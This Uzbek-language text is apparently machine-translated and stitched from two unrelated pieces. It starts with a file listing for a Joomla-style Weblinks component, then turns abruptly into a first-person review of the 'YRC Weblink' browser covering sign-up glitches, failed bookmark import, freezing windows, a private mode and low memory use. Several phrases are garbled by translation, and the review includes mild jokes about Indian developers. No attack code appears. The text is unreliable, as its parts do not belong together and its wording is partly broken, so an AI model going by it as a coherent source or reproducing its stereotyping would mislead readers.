  • modellar / maydonlar / ordering.php - Weblinks Manager ekranida veb-havolalarning buyurtma ustunini ko'rsatishning JformField modeli
  • modellar / shakllar / weblink.xml - XML ​​fayli Jform-Field Model sinfida kirish maydonlari bilan shaklni belgilash va ekrandagi veb-havolalarni tahrirlash uchun ishlatiladi.
  • modellar / weblink.php - Veb havolasining yagona Modelini ko'rsatish uchun model
  • models / weblinks.php - Dispetcher ko'rsatish modeli. Veb havolalari uchun model
  • sql / install.mysql.utf8.sql - o'rnatish vaqtida veb-havolalar jadvalini yaratish uchun SQL fayli
  • sql / uninstall.mysql.ut8.sql - o'rnatish vaqtida veb-havola jadvalini o'chirish uchun SQL fayli
  • jadvallar / weblink.php - Model sinfini taqdim etadi
  • views / weblink / tmpl / edit_metadata.php - Veb-havola meta-ma'lumotlarini tahrirlash uchun manba tartib fayli

Weblinks komponentining ma'muriy qismi

  • views / weblink / tmpl / edit_params.php - Yagona veb-havolani tanlash parametrlarini tahrirlash uchun manba tartib fayli
  • views / weblink / tmpl / edit.php - Veb havolasini tahrirlash uchun manba tartib fayli
  • views / view.html.php - HTML formatida bitta veb-havolani ko'rsatish uchun asosiy ko'rinish klassi Veb-havola menejeri uchun manba tartib fayli
  • views / weblinks / view.html.php - HTML veb havolalarini to'g'ridan-to'g'ri Weblinks Manager ekranida ko'rsatish uchun asosiy ko'rinish klassi
  • access.xml - Access Control List (ACL) tizimi uchun harakatlar ro'yxatini taqdim etadigan XML fayli
  • config.xml - XML ​​fayli, u komponent konfiguratsiya parametrlari ro'yxatini taqdim etadi
  • controller.php - Asosiy boshqaruvchi klassi
  • weblinks.php - so'rov uchun kirish nuqtasi
  • weblinks.xml - XML ​​fayli o'rnatish jarayonini boshqarish uchun ishlatiladi

YRC Weblink brauzeri Hindistonning YRC Group Inc dasturiy ta'minot kompaniyasi tomonidan yaratilgan va tarqatilgan. Va shuning uchun standart bosh sahifa hind Google hisoblanadi :))

Hindiston dasturchilari dunyodagi eng zo'rlardan biri hisoblanadi (rus va xitoy tillaridan keyin :), lekin bu brauzerda nimadir noto'g'ri ketdi, chunki bu brauzer emas, balki shunchaki bayramdir. Ular ushbu brauzerda amalga oshirishga harakat qilgan g'oyalar ajoyib, ammo amalga oshirishning o'zi juda yomon. Brauzer "stump-deck orqali" ishlaydi, ya'ni g'alati va yomon. Men buni ikki xil kompyuterda sinab ko'rdim - Windows 7 va Windows 8 ostida - va u erda va u erda nosozliklar va muzlashlar.

Biroq, keling, tartibda boraylik.

O'rnatishdan so'ng, brauzer ba'zi sozlamalarni tanlashni taklif qiladi (masalan, yuqoridagi skrinshotda ko'rsatilganidek) va qo'shimcha ravishda bulutli sinxronizatsiya va sozlamalar, xatcho'plar, eslatmalar va fayllarni saqlash uchun hisob yaratish.

Ajoyib fikr! “Ro‘yxatdan o‘tish” degan ma’noni bildiruvchi “Ro‘yxatdan o‘tish” havolasini bosaman, kulgili rasmlari bor sayt ochiladi, lekin negadir u YRC Weblink-da emas, balki kompyuterdagi standart brauzerda ochiladi va bu birinchi g‘alatilik. Yana bir g'alati tomoni shundaki, siz juda ko'p ma'lumotlarni kiritishingiz kerak - nega? Misol uchun, Maxthon brauzerida bulutda ro'yxatdan o'tish uchun siz faqat elektron pochta va parolni kiritishingiz kerak, bu juda oson, yoqimli va keraksiz savollar tug'dirmaydi.

OK, men bu maʼlumotlarni kirityapman. Men hisobimni tasdiqlash uchun xat olaman, men havolani bosaman, lekin sayt menga "Oops! - Ma'lumotlar bazasidan ma'lumotlaringizni topa olmayapman". Ammo keyin yana bir xat yangi havola bilan keladi, men undagi havolani bosing va yana - Oops! Biroq, bu oops jarayonida uchinchi xat keladi va unda aytiladi - tabriklar, sizning hisobingiz tasdiqlangan! Bu hind hisobini tekshirishning bir turi.

Men brauzerimni, sozlamalarimni ochaman, xatcho'plarni import qilishga harakat qilaman. Brauzer .html formatidagi xatcho'p faylini nuqta-bo'sh diapazonda ko'rmaydi, men bilgan barcha brauzerlar muammosiz ko'radi, tushunadi va qabul qiladi. Men fayl nomini qo'lda kiritaman, Import tugmasini bosing va hisobotni oling - xatcho'plar muvaffaqiyatli import qilindi!

Ammo ular qayerdan muvaffaqiyatli olib kelingan ??? Ular brauzerda yoki bulutda emas. Men operatsiyani yana bir marta takrorlayman va xuddi shunday natija. Hech qisi yo'q. Davom etmoq.

Bulut va sozlamalarda Eslatmalar elementi mavjud. Maxthon brauzeridagi o'rnatilgan bloknot yordamida yaratilishi mumkin bo'lgan va avtomatik ravishda bulutda saqlanadigan eslatmalarni eslab, YRC Weblink-da shunga o'xshash narsani topishga harakat qilaman, afsuski, hech qanday natija bermayapti. Eslatmalarni ko'rish mavjud, ammo ularni yaratish uchun hech qanday vosita yo'q. G'alati? Va qanday!

Xo'sh, OK. Keling, bizda nima borligini ko'rib chiqaylik. O'rnatish vaqtida brauzer mustaqil ravishda (so'ramasdan) ish stolida ikkita yorliqni o'rnatdi - brauzer yorlig'i (bu oddiy) va Twitter yorlig'i.

Ushbu yorliqni bosish Twitter bilan alohida brauzer oynasini ochadi. Nega buni sukut bo'yicha qilasiz? Balki men Twitterdan umuman foydalanmayotgandirman? OK, men Twitter yorlig'ini ish stolidan o'chirib tashladim, lekin unday emas edi! Endi brauzer yorlig'ini bosganingizda (Twitter emas), brauzer vazifalar panelida Twitter sifatida ko'rsatiladi! Men hayotimda bunday bayramona nosozlikni uchratmaganman!

Aytgancha, yuqoridagi skrinshotda ko'rgan ushbu uchta oyna haqida. Xulosa sozlamalari oynasi har safar qotib qoladi. Va shuning uchun uni faqat Vazifa menejeridagi jarayonni o'chirib qo'yish orqali qisqartirish mumkin, boshqa yo'l bilan - hech narsa. Va sinxronizatsiya oynasini faqat tizimdan chiqish orqali yopishingiz mumkin.

Agar siz "Yo'q" tugmasini bossangiz, oyna doimo ochiq bo'ladi. Brauzerning o'zi, aksincha, vaqti-vaqti bilan o'z-o'zidan o'chadi. Qizig'i shundaki, brauzer o'chadi, lekin tiqilib qolgan Xulosa oynasi va ochiq Sinxronizatsiya oynasi o'chirilmaydi va ular brauzer tomonidan tashlab ketilgan holda, ularni Vazifa menejerida o'chirmaguningizcha, qarovsiz osilib turadi. Ajoyib nosozliklar!

Biroq, ro'yxatga kiritmaslik noto'g'ri bo'ladi va brauzerning ijobiy tomonlari.

Birinchidan, anonim surfing rejimi mavjud. Sozlamalarda ushbu rejimni yoqing va brauzer keshdan, cookie-fayllardan foydalanmaydi, tashriflar tarixini yozmaydi. Faqatgina ushbu rejimda ishlaydigan brauzerlar mavjud, masalan, Browzar, ba'zan kerak bo'ladi, lekin umuman olganda, bu juda noqulay. Va bunday rejimni tezda ulash yoki o'chirish qobiliyati brauzer uchun katta ortiqcha.

Ikkinchidan, YRC Weblink standart qidiruv tizimini tanlash imkoniyatiga ega. Biroq, siz juda aniq ro'yxatni tanlashingiz kerak:

Shu bilan birga, qidiruv tizimining manzili "Yangisini aniqlash" tugmasini bosish orqali qo'lda ham o'rnatilishi mumkin (u skrinshotda ko'rinmaydi, u ro'yxat ostida).

Xo'sh, oxirgi, lekin juda muhim ortiqcha - YRC Weblink deyarli tizimni yuklamaydi! Taqqoslash uchun, men unda 10 ta yorliqni ochdim va Yandex brauzerida bir xil manzillar bilan 10 ta yorliqni ochdim (tizimni yuklash bo'yicha brauzerlar orasida etakchi) va bu rasm.

Yandex brauzeri:

YRC Weblink shu ma'noda yaxshi ma'noda deyarli raqobatdan tashqarida ekanligini taxmin qilish qiyin emas.


XULOSA... Agar yaratuvchilar ushbu brauzerda amalga oshirishga harakat qilgan barcha g'oyalar to'g'ri bajarilgan bo'lsa, buning uchun hech qanday narx bo'lmaydi, YRC Weblink eng yaxshi yoki hech bo'lmaganda eng yaxshi brauzerlardan biri deb da'vo qilishi mumkin. Lekin o'zida kuzatilayotgan illatlar bilan "S"ni ham tortmaydi. Men unga baho beraman 3- .

Sinovdan so'ng men brauzerni o'chirib tashlayman - kompyuterda bunday noto'g'ri dasturga ega bo'lishga mutlaqo hojat yo'q. Xo'sh, biz YRC Group Incdan keyingi qadamlarni kutmoqdamiz. Hind dasturchilari barcha kamchiliklarni bartaraf etishlari va brauzerning haqiqatan ham ishlaydigan versiyasini chiqarishlari mumkin, ularga hurmat va maqtovlar. Agar ular muvaffaqiyatsiz bo'lsa, dunyoda yana bitta o'lik brauzer paydo bo'ladi.